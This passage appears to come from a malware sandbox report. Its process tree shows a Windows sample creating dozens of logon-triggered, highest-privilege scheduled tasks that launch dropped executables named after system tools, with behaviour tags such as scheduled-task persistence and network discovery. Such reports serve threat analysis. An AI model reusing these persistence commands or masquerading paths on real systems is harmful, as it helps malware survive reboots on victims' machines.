  "cmd.exe" /c schtasks /create /tn "WinTask_reg_5" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_5" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_efsui_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_efsui_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sxstrace_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0E.tmp\Logs\sxstrace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sxstrace_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A0E.tmp\Logs\sxstrace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_2" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_2" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F3E.tmp\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdiagnhost_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6220
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sdiagnhost_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6412
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_pcaui_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\pcaui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_pcaui_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\pcaui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_doskey_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\doskey.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_doskey_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\doskey.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_7" /tr ""C:\ProgramData\WindowsHolographicDevices\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_odbcconf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\UpdateCache\odbcconf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_odbcconf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\UpdateCache\odbcconf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6464
- C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --watchdog-slave
  2⤵
  PID:4976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\UpdateCache\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReAgentc_2" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\ReAgentc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fixmapi_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fixmapi_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1DEC.tmp\Logs\UpdateCache\fixmapi.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_5" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_5" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Dism_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Dism_6" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\Dism.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_doskey_7" /tr ""C:\ProgramData\MicrosoftService\doskey.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_doskey_7" /tr ""C:\ProgramData\MicrosoftService\doskey.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WinLock_8" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WinLock_8" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cleanmgr_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\cleanmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cleanmgr_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\cleanmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD200F.tmp\Logs\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD200F.tmp\Logs\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_5" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_5" /tr ""C:\Users\Admin\AppData\Roaming\MergeSync\Logs\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontdrvhost_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontdrvhost_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\fontdrvhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winver_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\winver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winver_7" /tr ""C:\ProgramData\SoftwareDistribution\Logs\winver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dpnsvr_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B4B.tmp\Logs\UpdateCache\dpnsvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dpnsvr_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1B4B.tmp\Logs\UpdateCache\dpnsvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F5F.tmp\Logs\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1F5F.tmp\Logs\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_5" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2420
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_5" /tr ""C:\Users\Admin\AppData\Roaming\UnregisterTest\Logs\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ddodiag_6" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\ddodiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TRACERT_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\TRACERT.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TRACERT_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\TRACERT.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_1" /tr ""C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A74.tmp\Logs\UpdateCache\sc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A74.tmp\Logs\UpdateCache\sc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1192
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_5" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_5" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_backgroundTaskHost_7" /tr ""C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hdwwiz_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\hdwwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hdwwiz_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\hdwwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6644
- C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\tasklist.exe
  "C:\Users\Admin\AppData\Roaming\CopyRepair\Logs\UpdateCache\UpdateCache\tasklist.exe" --watchdog-slave
  2⤵
  - Discovers running processes
  PID:6352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemUWPLauncher_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemUWPLauncher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemUWPLauncher_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SystemUWPLauncher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_3" /tr ""C:\ProgramData\MicrosoftService\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_3" /tr ""C:\ProgramData\MicrosoftService\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_attrib_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E0F.tmp\Logs\attrib.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_attrib_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1E0F.tmp\Logs\attrib.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fltMC_5" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fltMC_5" /tr ""C:\Users\Admin\AppData\Roaming\OutWatch\Logs\UpdateCache\UpdateCache\fltMC.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_makecab_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\makecab.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_7" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{F31BE3E4-4AE7-4FD3-9703-2BA015985B1C}\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{F31BE3E4-4AE7-4FD3-9703-2BA015985B1C}\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6932
- C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\UpdateCache\RestoreStop.exe
  "C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\UpdateCache\UpdateCache\RestoreStop.exe" --watchdog-slave
  2⤵
  PID:4560
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_1" /tr ""C:\Users\Admin\AppData\Roaming\RequestPing\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3520
- C:\Windows\SysWOW64\cmd.exe
